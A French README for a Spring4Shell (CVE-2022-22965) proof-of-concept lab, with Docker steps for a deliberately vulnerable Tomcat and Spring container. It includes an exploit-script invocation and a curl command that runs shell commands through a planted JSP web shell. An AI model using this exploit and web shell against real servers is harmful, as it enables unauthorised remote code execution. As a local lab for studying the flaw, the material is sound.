Spring4Shell

Spring4Shell (CVE-2022-22965) Preuve de concept avec un serveur Tomcat vulnérable contenant une application spring4shell vulnérable.

Détails de cette vulnérabilité

• https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
• https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
• https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Utilisation

Construire l'image

docker build . -t spring4shell

Lancer le conteneur

docker run -p 80:8080 spring4shell

Vous pouvez également l'exécuter avec le port du débogueur exposé si nécessaire :

docker run -p 80:8080 –p 5005:5005 spring4shell

Consultez l'article de blog original pour les détails de configuration d'un débogueur distant dans IntelliJ Idea !

Exécuter l'exploit

./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell

Ensuite, vous pouvez exécuter n'importe quelle commande à distance comme ceci :

curl http://localhost/spring4shell/shell.jsp?cmd=id --output -

...ou en visitant l'URL ci-dessus.